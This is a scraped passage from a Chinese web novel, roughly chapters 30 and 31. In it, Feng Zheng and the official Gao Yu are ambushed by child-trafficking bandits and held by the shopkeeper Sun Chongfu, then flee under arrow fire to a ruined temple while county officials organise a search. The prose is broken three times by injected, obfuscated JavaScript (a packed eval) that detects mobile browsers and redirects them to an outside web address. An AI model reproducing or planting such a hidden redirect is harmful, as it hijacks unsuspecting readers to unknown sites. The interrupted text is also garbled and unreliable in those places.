若没有江南科场案这桩案变,他可能不必去淮州讨债,她也不会向淮阳去,他们两人,也不会有这样朴实的一晚。 冯筝长睫振抬,当她为这恶毒的想法而感到惶恐,把幸灾乐祸的苗头狠狠掐断之时,他就用这忽远忽近的声音,给之后的事情做打算。 “送佛送到西。送你到淮阳后,我会前往当地的观察司办一件要事,之后很长一段时间,或许我们不会再碰面,所以思来想去,还是要趁早讲句公道话。” “你身边的护卫忠实护主,身手利索,性情也稳,这一路上我都看在眼里。于公,他们尽职尽责守你平安,于私,云燕一走,他们为照顾你的情绪,暗递消息找我开导你。” “待我走后,你不必对他们心存芥蒂,令尊慧眼识珠,在选用能辈上,高某还是很佩服的。” 他毫无芥蒂地替旁人说话,冯筝越听越郁闷,顿时能理解,她亲昵他的想法暗暗发酵,根源就在于,护卫守她守得苛刻,物极必反,倒让她更放纵了自己。 附近一带都是酒楼,再往前走半刻钟就到客栈。 酒楼花销大,几个拮据的酒客还未归家,搂着同伴往酒巷里钻,刚刚没影,突然发出一阵惊叫。 一道黑影飘出巷尾,蒙面的贼匪挟制了人,一路往西逃窜,他衣裳未换,俨然就是那在逃案犯。 算算时辰,捕吏应该没走太远,在救人和报官中,高豫选择追回捕吏。 “能一个人回客栈吗?” 他迟疑不定,冯筝还没从撞见疑犯的震惊中回过神来。 一种大有来头的不安填满她心脏,但她还是点了头,理智比直觉先做出反应。 “能。” 扶陵不太平,她毫不耽搁赶回客栈,边跑边回忆起很多细节。 案犯桎梏着的人好像是孙掌柜,从杂货铺到这片酒楼,再往东就是官廨……或许是事情来得太过蹊跷,又或者有什么道理解释不通,她越跑越慢。 不久前制止捕吏的时候,孙掌柜趴在柜面护财的体态,赠还银锭时紧绷的肩线,都在她脑海中短暂停留。 距离回客栈还有半刻钟,晚风把酒香吹散,细微到不着边的思绪却一点点凝实,察觉蹊跷的时候已经迟了。 冯筝按住心头突跳,竟是停下来,随手拉住一个路人。 “帮我报官。” -- 城郊的风咸淡不明,隐约弥漫着一抹血腥味。 在挟制下惊厥过去的孙掌柜,一朝离开桎梏,竟好端端站在一旁,而那挟持他的案犯,已经扯下蒙面,眼神悍利地等待匪首替他出气。 “桐花巷屠户无子,隔壁葛老汉贫苦,用计让屠户抱养他孙子,我趁屠户不留神把崽子偷走。这崽子不哭不闹,而当前,弃养和昧藏孩童都被官府明禁,谅他们都不敢报官。” “天衣无缝的一件事,哪知道中途冒出这么个人来捣乱,还害得豺九被官差拿住。” “闫头,可得替弟兄们好好收拾他。” 为了围猎此人,他们派出手下接应,没少损兵折将。被称作闫头的匪首乌眼漆瞳,挑起眉走近高豫。 “我猜猜,他是怎样弄伤你弟兄的?” 匪首话落,右手按向他肩颈。膝关节被强攻,脊背重重下压,高豫支膝跪地,喉中滚出闷咳,一切都让那案犯双目锃亮。 “就是这样!此人就是这样把豺九的脊骨重伤,害得他被官府擒住,害得我也险些逃不脱,闫头英武,再给他一记厉害的!” “给他点厉害瞧瞧,弄残他一条腿!” “挺到这时候不普通啊,不如拧他咽喉,让他跪地求饶!” 周遭匪徒们附和怂恿,露出暴徒狠色。匪首眼光挑剔地从他躯干上一寸寸刮过,似乎被周围喧嚣干扰到决断,不善的眼神凛然四放,令手下之人双腿打颤。 月色涌过郊野,附近生灵皆难逃法眼,他抬了抬下巴,两个匪徒错身经过,将要直取另一端动静。 冯筝藏在草垛阴影后,眼看他们越来越近,殷红的手指往树桩上犁过。 她及时追赶上踪迹,一路留下标记,做完这些事,理智告诉她,回去搬援兵是最好的选择,不然他们两人都得交代在这里。 忍着眼底腥红转身,她拼命逃匿,试图把贼匪咒骂声甩得很远,但这很难。 方圆百里风声鹤唳,传来高豫的话竟无比清晰,而后追逐的匪徒惊讶止步,很想知道,这惹恼匪首的人会有什么下场。 “——不止,远远不止。你们所说的豺九,在官差接手时动弹不得,哪里是伤了脊骨这样简单。” 高豫撑着重伤的躯体,如回光返照般出言挑衅。余光望到那片裙角越来越远,极其蔚然地笑了笑,然后敛容,添油加醋。 他的眼神因眼眸专注而有了些力量。 “拐带孩童轻则监禁终身,重则绞监候,我那一击比你们有过之而无不及,官府非但不会治我的罪,相反,还答应给我邀功请赏。他余生注定在病榻上度过,好在牢饭管够,够他赎罪的时候吃顿饱饭。” 匪首一步步上前,示意手下递刀,冯筝奔跑在苍茫天地间,枯草随风往一边倒,片刻前,那枯萎的画面不停涌现。 高豫膝弯下满是血迹,他破布娃娃一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027457|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栽倒,半跪在野地,脖颈始终低垂。 他总是很努力在传达一种豁达、坚韧且旺盛的生命力,从未展现过这样脆弱被动的一面,他伤势那么重,真的能撑到增援到来吗? 哪怕有胜算自救,贼匪凶残至极,他真的不会重伤难愈吗? 他还有很多事未做,还有很大的官司要打,不能就这么折在这里。 空气中的血腥味越来越淡,随着时间流逝就要被抹除,冯筝脚步震颤,心肝脾肺哪哪都疼。 捕吏围抄杂货铺时,说不好店里真藏了案犯,后来孙掌柜和贼党设计了他,替被捕的豺九报私仇。 若非当初她强出头,非得制止捕吏搜查,他怎么会落到这步田地? 人总得为自己的轻信和自负付出代价,但这代价,不该就这么转移到高豫身上。 匪首无法形容,看到她去而复返的时候是什么心情。 他正兴味索然地算计,把人拖回去以后,如何让这好不容易才犯在手里的男人尝遍苦头,谁知那看起来柔弱可欺的姑娘,竟然不怕死地摸了回来。 威望接连被挑衅,他阴翳的眼睛染上狠戾,抬手下令间,冯筝纹丝不动。 “你忍一忍,捕吏就快到了……高豫。” 听到这话,匪徒们非但没萌生退意,反倒亢奋起来,叫嚣着把这小娘子拖回去,让他们做一对亡命鸳鸯。 无数匪徒欺近她,转眼间,高豫已经先发制人。 他如困兽般濒死暴起,夺剑挥退身后的匪徒,那起先撺掇匪首出气的虎三怒起。虎三闯进前线,挥拳打落他长剑,高豫抬肘迎击,劈手回握住落空的剑柄,而后拦身在她跟前,骤然划出剑刃—— 耳边风声极静,额侧绒发擦出,冯筝微微仰颈,男人背对着她,在寒月冷照下形销骨立。 直逼面门的剑意,迫使匪徒撤出一段安全距离。空气萧索腥锈,有什么讯息在无声传递,高豫毫不恋战,拉住她迅速就撤,匪贼深处,有人开始叫糟。 “糟糕,他们要跑!” 匪首却似不甚在意,几经观摩,已经揣度出青年的价值。 “这位郎君文质彬彬,瞧着是个有才情的,捆了送到销金窟写帐中诗,哪里不比稚童还有美姬值钱?” 郊野起哄声高涨,匪群传来戏谑,恶意叹出遗憾。 “对,这手拿剑多可惜,不如去写香帐诗!” “闫头慧眼,压榨他的才学,去向富绅讨赏钱!” “富绅多吝啬,哪有贵妇慷慨,不如卖去暗娼门里,给有钱的孀妇写香帐诗,换来咱们腰缠万贯!” 他们蜂拥而上,她曾置他于险境而不顾,如今,他们在围困中腹背受敌。 “小娘子,他不能做你的情郎了。” “不能做你一个人的情郎了……” 高豫眼底燃怒,战况紧接着陷入焦灼,眼看青年负隅顽抗,哪怕剑身卷刃,也依然无法近身的匪徒们,纷纷望向闫头支招。 闫头抬手,宽大箭袖里亮出步弩,锋芒直击受困者膝弯。 涌进的火把远远隔开他们两人,她疲于应付逼近的贼匪,蓦然回首,高豫随骨裂声倒下,却手撑胯骨起身,勉力支起身躯。 一股劲重重劈落,他支撑的手臂终于垂顿。 寂静苦夜,寒乌悲鸣。 匪首强摁在高豫肩上的手撤离,附来满是奚落的眼神,而后故技重施,抬起箭袖朝她对准。 冯筝控制不住地怒火中烧,当初决定走回头路,不是她无能逞强,之前因为心存侥幸拖延了先机,这时放出威逼话,冷箭却先于躲闪前抵达。 冯筝吃痛栽下,彻底失焦前,一种前所未有的恨意填满了胸腔。 30. 第30章 一阵燃亮刺激,勉强适应了光线,冯筝在后颈的钝痛中醒来。 “放倒你那一招,用的是钝箭。”确认她完全清醒,孙崇福将火折子拿偏了些,火芯轻晃,在他眼睫末梢投下一片阴影。 “扶陵曾是黑商地盘,当地恶吏食古不化,一心逢迎税政,滥涨苛税。我经营的小本生意,在官商双重的打压下难以为继,多年以前,靠闫头的庇佑才维持了生计。官府中人仇视的贼匪,缁衣妇孺痛恨的贼贩,对我却有再造之恩。” “这些年,他在我的铺子里成立哨点,传递不少私贩消息,多少卖我点情面,我求闫头恩典,他答应了不伤你发肤。” “我就是来问问你,小主顾,官差面前,为什么会替我说话?” 孙崇福嗓音醇厚,一旦沉下情绪,少了些贪婪胆怯,多了一些麻木不仁。 这里约摸是一间库房,角落堆积柴垛,高窗紧闭,月光投照处尘埃落落,冯筝看似安静端坐着并无不妥,但敞袖下,双手已被捆在身前。 她安静祥和地盯着眼前人,没有半点挣扎,如此稳定的状态,令冒险请了一刻钟便话的孙崇福,直觉这一趟叙话没有来错。 冯筝默不作声,孙崇福便替她回答。 “仅仅因为惠顾过我的铺子?” 他年轻时便出来闯荡,许诺闯出名堂后就衣锦还乡,摸爬滚打多年,受尽官商欺压,看遍世情炎凉,很久没遇到过纯粹的善意。 他似乎已经将这个答案敲定,自认为识破了她当时的想法。然而正当他为这过于轻率的善意动容,为害她落难而感到愧意的时候,对面有了开口的动静。 没有预想中的剑拔弩张,冯筝既无嗤讽也无怨怒,她冷漠无视了他的疑问,直截了当地问。 “他当时藏在哪里?” 握着火源的手腕微动,孙崇福知道她问的是虎三,倒没遮掩。 “杂货铺的柜面下。我拜闫头麾下,虎三走投无路,知道我会给他一个藏身之处。” 不远处的梁柱后,高豫昏醒难辨,外面的匪徒远近不明,困在这样一个陌生的地方,她的冷静很不真实。 对他重伤致残的担忧越来越强烈,每每唤回胸中郁怒,都让她恨不能给孙掌柜掌嘴。 偏偏这黑心肝的商贩还要趟雷,说着让她委曲求全的话。 “你那同伴得罪闫头,害得豺九被捕,被他们绑来雪恨雪耻也是自找的,姑娘清白无辜,因为他抵命多不值得。我认识一些人,以防你也被卖进娼门,到时候你出示信符,勉强可以明哲保身。” 正要施舍所谓信物,偏她不领情,微压眼眸,含笑给他的恩惠添堵,“你错了,提醒他擒住案犯的,根本就是我啊。” 这话挑衅得露骨,令不知情的孙崇福意外了一瞬,她都这样孤立无援了,竟还有胆量跟他摆谱。 他暗嗤出声,耻笑她不识好歹,“姑娘不必这样嫉恶如仇地看着我,纵然我有不义,你就没有错处了吗?” “要知道,当初若不是你在捕吏面前自曝,说出你跟那郎君在此案上的渊源,导致捕吏认下他的贡献,让隐匿的虎三听到准音,他又如何会将他骗到这里,图谋一个伺机报复?” 冯筝沉默了,亲耳听到旁人指责她招致祸端,不会比她自我反省的痛苦更少。 良心生出痛苦知觉,低喝声突然响起。 “冯筝,错不在你。” 高豫被蒙眼缚在柱子后,不知何时转醒,嗓音低沉,咬词清晰,警醒势如洪钟,冯筝眼瞳当即转明。 想到险些陷入自证的陷阱,她紧盯这名黑商,紧随高豫的话完成了自洽,“我能有什么错?” “我每每站出来发声,每回都是在惩恶扬善。我提醒他制止案犯在先,知道嫌犯的逃跑动向,藉此说出推断,替你解围在后,甚至后来跟三郎君分头走,也是我见恶贼挟持了你,容他追回捕吏,好救你性命。” “前前后后,错只错在我轻信失察,胡乱生出慈悲心,强出头放跑了案犯,以后定要长记性。至于你们,你伙同匪贼行恶,知道他们私贩孩童却不以为耻,你们这些枉法之徒,以后通通不得善终。” 说完怒目瞭来,握住什么东西就砸过来泄愤,孙崇福慌忙躲避,惊慌跌撞的姿势下,看清是一枚胭脂摔在跟前。 胭脂摔得四分五裂,瓷制的边角碎得狼藉,失了态的孙崇福,只想挽尊似的甩袖离开,走到半途嗅到一点蹊跷,这就回头多看了一眼。 这姑娘不知何时起了身,跪在碎物跟前,袖中探出的手微微颤抖,却因被合腕捆着,够不到哪怕一片一瓦。 对着满地狼藉,冯筝懊悔得快要落泪,平素不算很心疼银钱的她,此刻竟也情真意切。 孙崇福这就没了疑心,生怕被讹上,扭头走得更快了些,本能推脱责任。 “你自己摔坏的,这可赖不得我。” 脚步声消失很远,冯筝停歇了片刻,满目惋惜收起,取而代之的是孑然清醒的凉薄。 她是不想善罢甘休没错,但这得建立在他们都脱身的前提下才行。 扭动手腕捡起一片碎物,借锋利的边缘割断绳索,当她回身打算施救,撞见的却是一番从未想过的场景。 高豫双手被缚在梁柱后,因卯力挣出麻绳,腕骨磨出血痕。被布巾蒙住的眼睛趋光仰头,喉结狰狞滚动,这样屈辱就缚的姿势,成全了一副残忍又贞烈的场景,此时此刻,却怪异地令她短暂失了声。 男人猜到她脱困,却猜不到她为何迟疑,察觉她没有动静,若有所感地有些焦虑。 高豫微含下颌,难办地诉出苦衷。 “冯筝,帮帮我。” 那捆缠束他腕骨的绳索,很难想象怎样被他挣脱了大半,唯有一股将断未断,深深勒进皮肉,谅他再努力也无法毕其功于一役。 本以为身处险境而失明的人,本能会将视物作为第一要事,他却刻意忽略眼前遮蔽,但求她对付束手的绳索。 冯筝不再耽搁,这就遵照意指,绕到他身后,专心对付那股顽绳。 她用掌腹压实绳索一端,对着挑开的空隙,小心调整瓷刃方向。掌腹下他脉搏突跳,因挣扎渗出血,她收住动作,好险避过一次误伤,冯筝将他曲起的指节按下去。 “你别动了。” 耳边一瞬静息,他果然没再动弹,直到绳索窸窣落下,她放得极轻的呼吸才终于喘出,没等撤出半步,下一刻便被人扼腕。 似唯恐慢她一步,高豫背对着她看不清神情,“你稍事休息,容我调整一下。” 在两人能够如常对话的始终,他对自身伤情只字未提,在他说完这句话后,她尚且不明白高豫偏头避开她的用意。 高窗前,男人摘下眼前遮蔽,缚过口齿扎在脑后,当他背靠梁柱坐下,手指一寸寸犁过膝弯,冯筝忽然明白了,他要做的是件什么事。 男子行走在外,总归有些难言的自尊,高蘅的原话她已经记不清,但她现在体察得到。 她沉默别开眼,越过之前被孙崇福遗落在地的火折子时,轻踮一脚踩灭了火源,刹那间,黑暗如潮涌来,又被窗前泻月逼退,无声而宽和地护住他颜面。 满地银辉清除了视障,高豫探过穴位,扶至膝关节处。 冯筝从来没想过,文臣出身的武司部将,对待自己会有多极端。 哪怕在贼匪围猎中受了重伤,他也从未展现过意志消沉,而此刻,他用那双刚刚自由的手,收紧裤腿强行复位。 关节复位的喀擦声清晰响起,冯筝受通感所累,手臂浮起黍米点点,极度不忍地扑回他跟前。 布条已被咬断,高豫眉弓蹙起,汗水打湿他两侧鬓角,这个狼狈得自顾不暇的男人,因她默契避开又毁约出现而短暂失了措,握住她的肩膀,蓄力分开距离。 “等等冯筝,再等等,就快好了,别回头。” 声腔喑哑低沉,那只握住她肩膀的手微颤,却又强忍痛楚,旋即移到下一关节,一招一式速度很快,令她忍不住扭头闭眼。 当初被匪徒围困时都没落泪,此刻对着满地月辉,泪意竟如跳珠溅雪。凄厉的痛呼声并没有传来,有只手拢住了耳廓,轻轻扭回她,高豫眉眼酸疲,声音沉稳不变。 “睁眼看看我吧,冯筝。微恙小症而已,稍稍复健两下,又怎么会痛呢?” 不知自何时起,他狠决凄苦的眼神已经重新变得柔软。 冯筝抬袖按了按眼眶,高豫站起来走动。看到他恢复行走,她一时不知道,到底该指责他冒进自医,还是该为这场遭遇中,没有谁成为谁的累赘而感到幸运。 这里是匪徒盘踞的腹地,很难想象荒郊野岭中,库房外直接是一条露天甬道。在这条没有岔道的逃途中,没有投机取巧的迂回智取,有的只是无从商量的正面硬刚。 这群贼匪以散寇聚成,兴兵打仗或许不成气候,围猎个别人等却绰绰有余。 两人身陷其中,无援的劣势不断放大,她试图照搬他的招式自保,每次都被他抢先解决掉险情,让她的现学现卖毫无用武之地。 月光和剑光层层叠迫,战事无尽拉锯,以至于到了后来,任何坎坷都能让她绝望。 就比如眼前,匪徒让出又一圈匪徒。 高豫拳抵后腰,一手持剑握于胸前,剑是抢来的,他也很擅长调整好自己,以一个不知第多少回蓄势待发的姿态迎敌。 匪首从下属拥护中走出,看到两方都没讨到好的战况,凭空指了指高豫覆满伤痕的手。 “郎君这双写诗的手,到底还是莽撞了些。” 想到之前匪首险些让高豫毙命,冯筝脸色更加惨淡,但她提防着暗袖箭弩,先他一步挑明利害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我觉得,你对我是有些信任在的。” “仗着这一点信任,我想请你记住件事,只要你毫无保留地相信我,你我之间,便没有人会交代在这里。” “包括我自己。” 冯筝便是此刻逃离。 她头也不回地逃出去,决绝又狠心,闫头不禁错愕了下,对真心错付的某人流露出怜悯。随后展手持刀,眼盯那位棘手的麻烦,朝着在悍匪围攻中负隅顽抗的人一步步迫近。 …… 冯筝跑过葱茏野径,在夜幕下终于迷失了方向。 哪怕循着她的来时路,有胭脂留下的标记指引,偶尔还是错走了歪路。 空气中的腥锈扑过面门,不知从何时起,缠进鼻息无法摆脱,她断断续续跑着又慢下来走动,没停下来全靠意念。 这样跋涉了很久,她面色发白又无动于衷,仿佛不去想就可以当没看见过,在她转身离开的余光中,那些生杀予夺的零星片段。 脚下重逾千斤,她试图慢下来,但架不住任何风吹草动都能惊扰到她。 一点踩断树枝的轻响响起,她瞥了眼沿途一览无遗的枯枝败叶,眼中闪过惊慌,迅速逃跑。 “错了,走左手边。” 阻拦的声音逼近,冯筝飞快反击,横手劈挡对方,直到快劈中要害时才遭到格挡。 高豫攥住她手指,险险停在喉结寸厘处。 “现在受死有一点冤。” 来人伤情难辨,自报姓名前,先来了一段含冤莫白。 几经鏖战,他衣裳破败得不像样子,好在伤势不重,唯有眉骨峰起处,被生硬地揉进一道血痕。 冯筝认出他,僵硬的腿顷刻间软了下来,然后很坚强地站稳了,冯筝笑了笑,自顾自往前带路,明明百般庆幸,仍然强撑着平静。 “看来我没猜错,三郎君果然能跟上我。” 从来不多话的冯筝,一路在前面絮絮叨叨,仿佛说得多了,那些令她后怕的心结就能一点点消融,而事实也确实如此,话毕一经停顿,总会得到后面的回应。 她一刻也不停歇,直到耳畔一阵林鸟嘶鸣,冯筝顿足回身。 高豫立在原地,微风拂起他一缕鬓发,他警觉的眼睛瞳圈骤紧,刹那间,浩荡追匪亮弩远峰,而他踏过满地草野,扑身将她压进了葱茏。 巨大的冲撞力在他护住她脊背的动作下得到缓冲,不远处,无数寒光指令待发。 月伏林阵,冯筝倒地前,箭矢奔星般飒沓坠下。 某种绝望的窒息中,他们默契地都没有说话,高豫伸出手,很是缓慢的,把她缠在鬓间的发带捋顺到后颈。 这是一个安抚的动作,随他一寸寸捋过,颈间激起细密战栗。可当她终于预感不妙而做出反抗时,眼前却骤然一黑,那气息重重擦过面门,而后,埋向颈侧不再有声息。 覆在她眼前的手垂落。 郊野满地,箭矢雾列。 31. 第31章 宵禁时分,扶陵郡衙的科房里,刚刚进行一场暖谈。 审案要员们坐在一起,准备熬个通宵把案卷核验完,好赶上隔天递奏牒的第一批驿差,请府台示下,尽早获批封山权剿匪。 想法很周全,现实则是另一回事了。在隔壁淮州的治府已经在烧兽金炭的时候,他们还在用最劣等的灶炭取暖。 围谈中时不时传来两声闷咳,偏那宋主簿怕冷得很,指使皂役继续添炭,和某位大人产生了争执。 王典史执卷拍了拍书案,不耐烦制止,“敢情有人来这验卷,是滥竽充数图舒服的,还没入冬呢,身子不阳刚就回宅邸捂被窝去,衙房签奏的印鉴签里,不差一个病患缺席。” 说完向郡守赵伯骕提正事,“衙房粗验过案卷,眼下再验一遍,我还是坚持原来的说法。虽然豺九已经招供,拐带案证据确凿,但另一条线索,也不可排除遗弃的嫌疑。” 赵伯骕想了想,想起翻看笔录时,发现的那则矜贫恤弱的条例,一旁宋主簿闷声歇菜,赵伯骕多看了他两眼,递过卷宗,宋主簿伸手来接,不太懂意味。 “灶炭要添,窗也是要开的,拐带罪要定,遗弃案也要追。咱们郡条件简陋,诸位将就一下,年底我就去申请炭例钱,深宵苦长,咱们还是都振作点,把这桩案子妥善了结。” 典史主簿等人都听到了合心意的话,围谈逐渐进入状态。他们如此重视此案,乃是因为不久前,调阅卷宗的人临时梳理豺九履历,发现他以及潜逃者虎三,和一桩尚未结清的旧案有牵连,指向南郊荒山闹过的匪祸。 如今疏理滞狱有望,他们纷纷振作起来,烛焰凝然间,外面衙役禀报,刚刚又接到了两桩报案。 赵郡守连忙去看,先是两个护卫来报失踪,然后是一名挎着竹篮的妇人,张嘴说要报案,却说不出个所以然来。 她递出一块碎裙布,“是个年轻的姑娘,路上拦住我,就求我来报官。” 两边报案人一碰面,元逢认出裙布,脸色更难看了。 很明显,当街拦人报案的姑娘,和护卫们报失踪的人一致。 想到白日里,浅浅打过打交道的年轻男女,赵伯骕脸色暗沉。毕竟前脚才走出官府的举证人,后脚就疑似遭遇不测,若此事乃豺九同伙所为,那么既是他们保护证人失职,也是歹徒在挑衅官府权威。 围谈的大人们出了科房,错落站在官廨前,火把照出他们静默的脸,没人说话,却都已明白怎么回事。 两护卫焦虑拧刀,赵伯骕捧过碎裙布翻看,对布上一抹胭脂红思考半晌,忽然问巡吏,近几个时辰有无雨水。 巡吏回答没有雨露,微风干燥。哪怕来不及申请封山令,郡守也决定把搜捕提前,吩咐燃松明火把,点兵向南郊疾进。 冯筝这些天出门,穿的都是烟罗纱。 烟罗纱用料轻软,常常用作罩裙,底下才是真正的裙布。 撕碎过一遍的裙布,扯出毛边后,再撕开就更轻松了。 庙宇昏暗,她已经记不清,自己是怎样把高出她一头的男人扛到这里,只知道用碎裙布包裹他的肩窝,让那片刻前中箭的伤口止住血,做完这些,就已经让她很疲惫了。 “高豫,醒醒好吗。” 高豫素面苍白,眼底淡淡鸦青,他手指犁过眼前阴翳,一点一点看清来人。 高豫醒得费劲,以致于短暂没深想,她的语调哪里反常,他带着莫名的心情去看冯筝,就看到她狼狈憔悴的样子。 她用烟罗纱把底裙遮挡完整,但碎布条裹在高豫身上,遮掩反倒破绽百出。她都这样疲惫了,还记得和他带笑寒暄。 “怎么样,还有哪里疼吗?” 或许是冯筝给出的理由足够让匪首忌惮,又或者何处当真传来了疑似兵至的风声,放出一通乱箭后,远峰的贼匪们收手就撤,以至于他们仍能逃出生天。 破庙石窗镂空,迎着破碎月光,高豫坐起来,俯眼看她。 “不疼。” 听见高豫说否,她的表情却一瞬间古怪起来。她至今都记得,摸到郊野时,看到处于闹匪围困中的高豫,膝下枯草血迹斑斑,她当然会以为他受了很重的伤,身上必定伤痕累累。 他不喊疼,只因他能忍常人所不能,而他能攻出围猎圈,及时追上她,那是属于观察司重臣的武力功底。 然而事情就是这么可笑,若不是趁他中箭失去意识,替他处理伤情时,发现他身上除了箭伤,以及眉峰那记红色的伤痕,身上并无其他外伤的话,她或许还在为更早以前,枯草地上,那片更有可能来自匪徒的血而难过。 想到此前满腔怨恨,好像有点可笑多余,冯筝不想再直视他,粗理裙摆要走。 高豫便是此刻察觉到,反常在哪里。 她寻常地把他喊醒,语调平静过头,仿佛很清楚他没有出事,不会出事。 附近危险暂除,但两人之间,哪怕一点劫后余生的喜悦也没有。高豫叫住她,冯筝回头撇来一眼,漆玉般的眼睛凝视他冽冽当风的衣袖,而后迂回掠过眉目。 她一点也不斯文地看他,夜风吹过,扰动她素洁歪颓的发带,高豫忽然混沌地觉得,他为人其实没什么感情,过多的是凭借本能,对身边的人或事物置予理睬。 就如同冯筝关心他疼痛有无,否认是任何场合,任何关系中都受用的回应。 他或许无法讲清,两人之间出了什么问题,但此刻,他在这破败庙宇里说了一句,让冯筝一时觉得有些人情味的话。 “悍匪阴险难敌,今夜确实伤我元气。” “诸地观察使办案,打的都是文书官司,核准逮捕的手令一出,官吏注重体面,逞凶拒捕的不多,大部分是乖乖就捕,所以犯不着大肆动武。我说这些,并非为我武艺不精找的说辞,只是有必要澄清,以我旧时身份,骁杀情形少有,这群悍匪抵命相搏,对付起来很是吃力。” 回味起膝关节的隐痛,高豫默了默,幽抬视线确认道。 “所以,冯筝。” “今夜确实伤我元气。” 冯筝被这突如其来的坦诚惹得连连皱眉,当然没忘记,他把膝盖骨强行复位,未经细致诊治,拼着内伤又战一场,早就该是强弩之末。 流箭有没有毒还不知道,肩伤已经很严重了,再想想更多的可能都是内伤,冯筝心肠一软,为那点过度担忧的自嘲而感到草率。 高豫拉近距离,“你是如何说服匪首,答应放你走的?” 她当然不会告诉他,为了沿途留下标记,把二十两的胭脂全给树杈添了妆。 “他有他的乾坤袖,我有我的智多囊。” 冯筝不愿详谈,高豫真就没再追问。 考虑到山中险情还不明朗,他们在这座小庙落了脚,打算天一亮就下山找医馆。 小庙碑皆煅裂,碑文碑像斑驳模糊,貌似多年以前经过焚烧。高豫修学太学院时,看过一些访古寻碑的书籍,知道这种毁于山火,却不被修缮的破庙意味着什么。 庙宇废弃,意味着大多会被匪类盘踞,好在经过检查,附近并无人迹。高豫燃起烛台,重新给自己验伤前,转了一圈,清理出一张条凳净了净灰。 条凳取自香案前,放过一些贡品,冯筝半晌没敢坐,高豫看出她的迟疑,直起身,望向潦草神像径自说起话来。 “此庙毁于山火,荒废这么久,早就不受香火敬献,坐吧,庙灵已空,没有再值得忌讳的事情。” 高豫不信奉神佛,却无疑守礼守节,他都这样说了,冯筝也就不那么讲究了,拉来条凳歇息。 他要重新给自己验伤,就势必会宽衣解带,冯筝翻出一把有些年头的铫子去找水井,避嫌的意思足够明显。 她拥衣走在庙外,夜风拂动她鬓发,高豫说过,破庙附近若有水井,方圆十丈以内应能寻到,还没有的话就不要再走了。 今夜发生很多事,他们那一程,本来是要回客栈用膳的。 想起错过晚饭,她便饥肠辘辘,脚步挪得慢,脑袋却很活跃,一点动静就觉得精神紧张。 结果到头来,她还是没有走完十丈,抱着夜寒衣薄的借口半途折返,回来就见到,高豫已经半松襟袖。 他背对着门衣襟半敞,衣裳破成褴褛,却也松弛地挂在臂弯,他将烛火挪近,亲近那簇光时,带点不一样的温霭可亲。 脉脉蜜色经风涌动,他就这样自诊伤势,一路验过肩胸的伤,无所谓同时暴露出肩背。 难以想象如他这样清拔的人,背肌竟然如此挺阔。去年刑伤伤他入骨,疤痕纵横交错,虽然丑陋,却也有种靡丽销魂,蜜油似的光照得他肌肤滑腻如鱼,只要一手按在那肩头,一路滑到腰窝,就会…… 就会怎么样不知道,高豫警觉地转过了头,冯筝握紧铫子,尽可能把闲篇扯得不那么随意。 “宵禁不禁诊,我来劝劝你。” 这就是提醒他赶紧就医了。 他把破衣裳穿回身,一晃紧实的手臂擦过她脑海,带抹刺眼的红。他们从箭雨中捡回一条命,高豫护她妥帖,仔细说来,不可能只有一道箭伤。他穿衣裳时手臂晃过,那里一条新的血痕,受过伤好是可惜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040764|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想治好这些伤不难,更何况此程南下探亲,又不用遵守什么期限,能交给郎中处理的事,何必验伤多此一举。 “此处距回城还有二里地,贼匪远去与否还不能确定,你我现下都很疲惫,状态不佳难以应敌,哪怕彻底安全了,也得休整片刻才能赶路。” 对于她的关心,高豫颔首算作回应,哪怕知道以她的视角必定撞见了什么,仍能守着稳定干净的语气,擎着就事论事的语调,将那点蒙昧旖旎一一荡尽。 “我知道你疲饿饥渴,我亦需找郎中医治,我歇一歇,不会拖太久。” 冯筝站在庙前,手里的铫子又轻又空,她没有抱怨他拖沓的意思,也不是没找到水而失望回来,用虚假的关心催促他走。 庙里残薪不多,勉强够烧到天明,谨慎起见,逗留半夜没什么不好。 她没多余解释,踏遍附近找到了活水。架起柴火烧水,坐在条凳上,端着海碗慢慢啜饮的时候,把他的臆断打得措手不及。 高豫净过面,盯着焰心不知在深究何等要事,哪怕思考着什么一筹莫展,也是那副精神集中,有条不紊的姿态。 她能看得这么清楚,归根结底在于,他毫不避讳地供她瞧看。 刚刚验完伤,他依然用碎裙布简单包扎了回去,坐在柴堆前,眼底鸦青暴露出疲意。 他无意掩饰,疲弱感和凝神静思就有点割裂,她就这样毫不掩饰地观察他,没妨碍他同样把对面的情况尽收眼底。 她极有耐心地坐在那里,背靠零星一点贡品,捧着海碗,眼色描摹他,能给寡淡的水品出饱满滋味。高豫不由得想起,她提醒他就医的那一瞬间,披衣而起时,她的眼神轻微变质。 这不好,也很不对,稍有不慎便会酿成差错。 歇息一会儿没有准数,只要任意一人发话,便能结束等待,随时动身。 但此刻两人谁也没提。 高豫看向饮水思甜的冯筝,略有深意地点了一下,然后去赏庙里的壁画,只留冯筝在原地云里雾里。 庙宇焚毁破败,好在碑壁完整。碑壁镂刻的文字,多是介绍此庙哪年修造,所供何方神圣云云,没有什么值得深究的内容。 